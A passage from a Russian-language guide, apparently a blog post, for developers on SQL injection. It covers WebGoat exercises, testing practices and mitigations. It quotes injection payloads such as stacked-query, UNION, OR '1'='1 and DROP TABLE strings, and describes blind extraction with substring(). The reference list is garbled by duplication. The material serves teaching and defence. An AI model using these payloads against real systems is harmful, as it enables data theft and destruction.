  • Упражнения по извлечению данных – WebGoat дает таблицы и просит с помощью UNION получить данные из другой таблицы или выполнить stacked-query. В решениях демонстрируется, как с помощью '; SELECT * FROM other_table; -- можно вытащить информацию из второй таблицы за один веб-запрос. Также рассматривается вариант с использованием JOIN и UNION для слияния результатов, причем нужно подобрать нужное количество столбцов и типы (этот шаг учит практическим нюансам, таким как соответствие числа колонок при UNION).
  • Blind SQL Injection – отдельный раздел, где показывается постепенный сбор данных по одному биту/символу. WebGoat, например, демонстрирует, как определять длину пароля, подставляя условия типа AND length(password)>0 и анализируя ответы (регистрация прошла или сообщение об ошибке), потом как побуквенно выяснить пароль, перебирая символы через substring(). Эти задания хорошо иллюстрируют, почему слепые атаки трудоемки, и как важно разработчику не давать никаких подсказок (в идеале ответы системы на истинное и ложное условие должны быть неотличимы, тогда атака максимально сложна).
  • SQL Injection Mitigation – уроки по исправлению кода. WebGoat предлагает исправить уязвимый код (например, переделать запрос на использование PreparedStatement в Java) и показывает, что после этого инъекция перестает работать. Также рассматриваются ситуации, когда разработчик думает, что защитился (например, фильтрует кавычки), а ученик должен найти обход фильтра.

Практические занятия в DVWA и WebGoat подчеркивают: ключ к защите – понимание принципов на практике. Разработчикам полезно самим пройти такие упражнения, чтобы прочувствовать, как атакующий эксплуатирует уязвимости и как даже небольшая оплошность в коде (неэкранированная строка, забытая кавычка, лишние привилегии) позволяет компрометировать систему.

Советы по тестированию кода на SQL-инъекции

Наконец, приведем краткие рекомендации, как разработчикам проверять свое приложение на устойчивость к SQL-инъекциям:

  • Ревизия кода: регулярно просматривайте участки, где формируются SQL-запросы. Ищите конкатенацию строк с переменными. Если такое есть – рефакторьте на параметризованные запросы. Внедрите правило код-ревью: ни одного сырого SQL из строкового соединения. Пуль(request)-реквест с таким кодом должен исправляться до слияния.
  • Юнит-тесты на уязвимости: можно написать тесты, которые вызывают функции/методы с заведомо «плохими» данными ("', "OR 1=1", "; DROP TABLE …` и т.д.) и проверяют, что база не выдала лишнего или не упала. Конечно, такие тесты требуют наличия тестовой базы данных и продуманного подхода (чтобы не удалить что-то всерьез), но они помогут отловить нелинейные сценарии.
  • Статический анализ: используйте инструменты SAST, которые умеют находить шаблоны уязвимостей. Например, для Python полезен Bandit – он имеет правило выявления SQL-инъекций, когда используется небезопасный способ формировать запросbrightsec.com. Для JavaScript/Node – npm audit не найдет инъекции в вашем коде, но SAST типа Semgrep или SonarLint могут помочь. Для PHP есть плагины к PHPStan или Psalm. Инвестируйте время в настройку этих инструментов в CI/CD, это автоматизирует часть работы.
  • Динамическое сканирование: на стадиях тестирования/стейджинга прогоняйте приложение через DAST-сканер (например, OWASP ZAP, Burp Scanner, или коммерческие продукты)brightsec.com. Они симулируют атаки на работающий веб-приложение. ZAP, к примеру, имеет встроенные тесты на SQL-инъекции: он будет пробовать вставлять ' OR '1'='1 в поля, отправлять UNION SELECT и анализировать ответы. Это не требует много усилий и может быть интегрировано в процесс сборки.
  • Интерактивное тестирование (IBA): если есть возможность, используйте интерактивные средства вроде WebGoat в учебных целях – они хорошо тренируют навык. Но и без них, думайте как злоумышленник: что бы вы сделали, чтобы сломать свой же код? Попробуйте те же приемы, которые описаны в этом руководстве, против вашего приложения.
  • Используйте SQLMap на тестовом стенде: SQLMap – очень мощный инструмент, и после базовой настройки (URL, параметры, возможно куки) он способен обнаружить и эксплуатировать инъекции автоматически. Запустите его против своего API/сайта (только убедитесь, что делаете это в легальном поле – на своем сервере!). Если SQLMap ничего не нашел – уже хороший знак. Если нашел – немедленно исправляйте и учтите, что раз он нашел за минуты, хакер тоже найдет.
  • Отлавливайте аномалии в логах продакшна: в боевой среде включите расширенное логирование (например, log всех SQL ошибок). Настройте алерты, если такие ошибки появились – это может быть признаком, что кто-то пытается провести SQL-инъекцию (например, в URL или формах крутятся странные символы, и база ругается). Раннее обнаружение атаки даст время отреагировать до компрометации.

Выводы

SQL-инъекция остается одной из самых опасных и распространенных уязвимостей веб-приложений, но бороться с ней несложно – достаточно придерживаться проверенных практик разработки:

  • Никогда не складывать SQL-запрос из строк и непроверенных данных. Всегда разделяйте код и данные (через параметризацию или ORM)tquality.ru.
  • Проверять и ограничивать пользовательский ввод. Не доверяйте даже тому, что приходит от собственного фронтенда – злоумышленник может отправить запрос напрямую.
  • Минимизировать ущерб от возможной атаки. Принцип наименьших привилегий для БД, отсутствие подробных ошибок в UI, регулярные бэкапы базы.
  • Постоянно тестировать безопасность. Включайте проверки на инъекции в план тестирования каждого релиза (как вручную, так и автоматизировано)tquality.ru. Обучайте команду secure coding практикам, проводите внутренние митапы или разбор инцидентов.

Следуя этим рекомендациям, вы сведете риск SQL-инъекции к минимуму. Помните: предотвращенная атака – заслуга разработчика так же, как и реализованный функционал. Безопасность – не опция, а обязательная часть качества кода. Ваши пользователи доверяют вам свои данные, а значит защита этих данных – ваша прямая ответственность. Безопасной разработки! 

Источник использованных материалов: приведенные примеры, рекомендации и описания основаны на открытых источниках и руководствах OWASP acunetix.comtquality.ru, практических статьях по безопасности кодаacunetix.comacunetix.com, а также на опыте учебных взломов в проектах DVWA cspanias.github.iocspanias.github.io и WebGoat medium.commedium.com (см. ссылки).

Литература:

Types of SQL Injection?

https://www.acunetix.com/websitesecurity/sql-injection2/DVWA – SQL Injection | Pentest Journeyshttps://cspanias.github.io/posts/DVWA-SQL-Injection/SQL-инъекция базы данных пример, типы, как сделатьhttps://tquality.ru/blog/chto-takoe-sql-iniekciya/SQL-инъекция базы данных пример, типы, как сделатьhttps://tquality.ru/blog/chto-takoe-sql-iniekciya/SQL-инъекция базы данных пример, типы, как сделатьhttps://tquality.ru/blog/chto-takoe-sql-iniekciya/Prevent SQL injection vulnerabilities in PHP applications and fix themhttps://www.acunetix.com/blog/articles/prevent-sql-injection-vulnerabilities-in-php-applications/Prevent SQL injection vulnerabilities in PHP applications and fix themhttps://www.acunetix.com/blog/articles/prevent-sql-injection-vulnerabilities-in-php-applications/Types of SQL Injection?https://www.acunetix.com/websitesecurity/sql-injection2/Types of SQL Injection?https://www.acunetix.com/websitesecurity/sql-injection2/SQL-инъекция базы данных пример, типы, как сделатьhttps://tquality.ru/blog/chto-takoe-sql-iniekciya/SQL-инъекция базы данных пример, типы, как сделатьhttps://tquality.ru/blog/chto-takoe-sql-iniekciya/SQL-инъекция базы данных пример, типы, как сделатьhttps://tquality.ru/blog/chto-takoe-sql-iniekciya/DVWA – SQL Injection | Pentest Journeyshttps://cspanias.github.io/posts/DVWA-SQL-Injection/SQL-инъекция базы данных пример, типы, как сделатьhttps://tquality.ru/blog/chto-takoe-sql-iniekciya/SQL-инъекция базы данных пример, типы, как сделатьhttps://tquality.ru/blog/chto-takoe-sql-iniekciya/DVWA – SQL Injection | Pentest Journeys

+1
0
+1
3
+1
0
+1
0
+1
0

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *